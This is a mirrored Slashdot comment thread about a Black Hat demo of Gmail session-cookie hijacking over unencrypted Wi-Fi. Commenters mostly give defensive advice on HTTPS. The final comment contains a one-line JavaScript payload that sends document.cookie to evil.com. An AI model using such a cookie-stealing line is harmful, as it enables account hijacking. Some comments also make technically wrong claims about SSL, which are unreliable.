Slashdot Mirror


Point-and-Click Gmail Hacking Shown at Black Hat

not5150 writes "Using Gmail or most other webmail programs over an unsecured access point just got a bit more dangerous. At Black Hat Robert Graham, CEO of errata security, showed how to capture and clone session cookies very quickly over connections without encryption. He even hijacked a shocked attendee's Gmail account in the middle of his presentation. 'While Ou was typing, Graham was running Ferret and sniffing all the cookies that were being sent from Ou's laptop and Google. Graham then clicked on Ou's IP address and Gmail page, complete with Ou's recently sent message on the screen. We photographed both Graham's and Ou's laptop at that time and posted it to the picture gallery. You'll see that the contents are exactly the same.'"

25 of 260 comments (clear)

  1. Good reason to install Better GMail! by Mr.+X · · Score: 3, Informative
    1. Re:Good reason to install Better GMail! by afidel · · Score: 4, Informative

      I think you should have linked to the Mozilla addons page. I know I wouldn't install a firefox addon from a random site with the name hacker in the URL.

      --
      There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
  2. Correct me if I'm wrong but by trifish · · Score: 4, Informative

    Even if you don't have encrypted transfer, session cookies can be easily secured by associating them with a certain IP address. The attacker who captures the cookies has a differnt IP address so the cookie is rejected as invalid. The only situation where this solution may get a bit annoying is if you're behind a load-balancing proxy, which changes your IP address on every request (fortunately, this is somewhat rare.) It's better than allow easy hijacks...

    1. Re:Correct me if I'm wrong but by vidarlo · · Score: 3, Informative

      Even if you don't have encrypted transfer, session cookies can be easily secured by associating them with a certain IP address. The attacker who captures the cookies has a differnt IP address so the cookie is rejected as invalid.
      More often than not, all users of a wireless net is behind a NAT device, which makes all the devices have the same official IP. The same applies to most domestic, workplace and school wlans, so really, that would make little or no difference. Now, in a IPv6 world, it would make a difference, since everyone has a unique IP there...
  3. Re:Slow News day? by andrewd18 · · Score: 1, Informative

    This is the first time it's been compiled into an automated tool. Note that this tool doesn't apply to just GMail, but any web service that uses a cookie, when the user is on an unencrypted wireless network.

    Also, logging in via SSL doesn't always work either - if the traffic is sniffed as the browser is sending the SSL requests, one could sniff the SSL key and just use that to get in.

  4. Re:Could be fixed easily by Google. Shame. by Anonymous Coward · · Score: 1, Informative

    Gmail already supports ssl. Just use https instead of http in the url.

  5. Re:Could be fixed easily by Google. Shame. by ohearn · · Score: 1, Informative

    Gmail will use SSL over any browser, it just doesn't by default (which is a shame, but easily fixed for those of us that care)

  6. Re:Could be fixed easily by Google. Shame. by SatanicPuppy · · Score: 4, Informative

    They offer it. All you have to do is go to https://mail.google.com/ rather than http://mail.google.com./

    I fail to see how the average person, as usual, being lax about their security is in any way Google's fault. This was something I found immediately, just because I won't check my email without a secure connection.

    --
    ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
  7. Bottom line by Kadin2048 · · Score: 5, Informative

    I think the upshot of this isn't really "look at us, we can sniff plaintext Wifi connections," but "look at one of the biggest players in web mail use plaintext connections even though they ought to know it's a hideously bad idea."

    It's more of an indictment of Google than anything, because they default to unencrypted HTTP rather than HTTPS, and most users won't know that they can go to https://mail.google.com/mail/ to force smarter behavior.

    --
    "Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
    1. Re:Bottom line by It'sYerMam · · Score: 4, Informative

      And furthermore, if you use google via a customised google page (http://www.google.com/ig) then even if you redirect that to https://.../ then the link to GMail is still regular http.

      --
      im in ur .sig, writin ur memes.
  8. Re:Slow News day? by Anonymous Coward · · Score: 5, Informative

    if the traffic is sniffed as the browser is sending the SSL requests, one could sniff the SSL key and just use that to get in.
    You have no idea how SSL works.
  9. Re:Could be fixed easily by Google. Shame. by Bob+535604 · · Score: 5, Informative

    I fail to see how the average person, as usual, being lax about their security is in any way Google's fault. This was something I found immediately, just because I won't check my email without a secure connection.
    A lot of people wouldn't know about this or even look for it and you know it. Google could make https the default or even mandatory, and it would completely kill this entire issue.
  10. Re:Slow News day? by The+Velour+Fog · · Score: 4, Informative

    Also, logging in via SSL doesn't always work either - if the traffic is sniffed as the browser is sending the SSL requests, one could sniff the SSL key and just use that to get in. SSL uses Diffie-Hellman key exchange so no unencrypted key is ever sent
  11. Always use https://gmail.google.com by StandardCell · · Score: 2, Informative

    Although they don't have a public key scheme strong enough for the AES-256 (requires 15360-bit RSA or 256-bit ECC for public key), you should always be logging in using https://gmail.google.com/ from all locations (even home) to ensure the entire session is encrypted.

  12. Re:Slow News day? by Kartoffel · · Score: 5, Informative

    That's easy enough to fix with a Firefox plugin: http://www.customizegoogle.com/

  13. Re:Could be fixed easily by Google. Shame. by teknopurge · · Score: 2, Informative

    We have redirects setup on all plain-text channels that have a login to SSL, and have for the past 6 years; this is beyond common-sense.

  14. Re:Could be fixed easily by Google. Shame. by huge · · Score: 2, Informative

    Shame on them also?
    Yes.

    Even if there are others with the same problem doesn't give you excuse to ignore the problem.
    --
    -- Reality checks don't bounce.
  15. Easy fix by teslatug · · Score: 2, Informative

    Bookmark the secure address and use that (who wouldn't over open wireless??). You could also use http://www.customizegoogle.com/ with Firefox if you're using Gmail to force it to go to the secure URL.

  16. use gmail over https by buddyglass · · Score: 1, Informative

    Accessing http://gmail.google.com/ will redirect you to a secure page for login, but after that you're back in plain text. If you start at https://gmail.google.com/ then afaik the rest of your gmail session runs over SSL.

  17. Re:psh by Anonymous Coward · · Score: 1, Informative

    Go home, Dad, you're pissed.

  18. Re:Slow News day? by Aeiri · · Score: 2, Informative

    This is the first time it's been compiled into an automated tool. No it's not, there's another that's better and it's been around for a long while. It was once Ethereal, and now called Wireshark.
  19. Make it default to https by ajs318 · · Score: 3, Informative

    #  This is how I did it:
    #
    #  Actual snippet from my Apache configuration .....  mostly.
    #  Some details have been changed to protect the innocent
    #  And some details have been changed to protect the guilty
    #
    #  The virtual host "secure.mydomain.co.uk" cannot be accessed
    #  by http; only by https.
    #
    #  The insecure port
    <VirtualHost 10.11.12.13:80>
        ServerName secure.mydomain.co.uk
        DocumentRoot /var/www/
        <Directory /var/www/>
            RedirectMatch ^/[^iI] /insecure/
            # In this directory is a page with a dire warning
            # that https is required to access this server.
            # NB.  To avoid creating an infinite loop, we never
            # redirect if request begins with I or i.
        </Directory>
    </VirtualHost>
    #  The secure port
    <VirtualHost 10.11.12.13:443>
        SSLEngine on
        .....
    </VirtualHost>

    --
    Je fume. Tu fumes. Nous fûmes!
  20. Re:Slow News day? by gpuk · · Score: 4, Informative

    That is the correct behaviour.

    Essentially, if you enter via http://mail.google.com/ Google remembers this and encrypts only the login process and then reverts back to plain text. If you enter via https://mail.google.com/ your session remains encrypted throughout.

  21. Another Extension by lupine · · Score: 2, Informative

    I use the Gmail Notifier firefox extension which checks for messages and forces gmail to use secure connections.

  22. re: Yes it is by Anonymous Coward · · Score: 1, Informative

    1- Robert did not release this tool to the public.
    2- Automatic HTTP session hijacking tools have existed for 7+ years.

    (new Image()).src= "http://evil.com/?"+document.cookie